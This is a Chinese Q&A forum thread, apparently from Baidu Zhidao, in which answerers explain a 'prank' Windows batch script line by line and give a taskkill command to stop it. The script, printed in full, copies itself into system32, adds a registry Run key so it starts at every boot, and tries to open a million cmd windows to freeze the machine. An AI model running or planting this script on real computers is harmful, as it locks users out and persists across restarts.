帮忙讲解一下这个恶搞的批处理,程序如下,谢谢

来源:百度知道 编辑:UC知道 时间:2024/06/14 07:40:57
@echo off
if "%1" neq "x" start /min %~fs0 x&exit
copy 恶搞.bat c:\windows\system32 >nul
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v lin /t REG_SZ /d c:\windows\system32\恶搞.bat /f >nul
for /l %%i in (1 1 1000000) do start cmd.exe
请高手详细解释一下 >nul
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v lin /t REG_SZ /d c:\windows\system32\恶搞.bat /f >nul

命令行程序。网上找一下
reg add 是注册表添加
>nul是将输出重定向到nul

就是把自己复制到系统32里
加到开机启动里
主要目的就是for /l %%i in (1 1 1000000) do start cmd.exe
打开1000000个cmd窗口
运行就完 了 只能按电源重启了
>nul 的意思就是 屏蔽命令完成后正确信息的显示
你不加的话 运行命令成功后都有个 成功的显示

这个不算很恶搞,用
taskkill /f /im cmd.exe
就能中止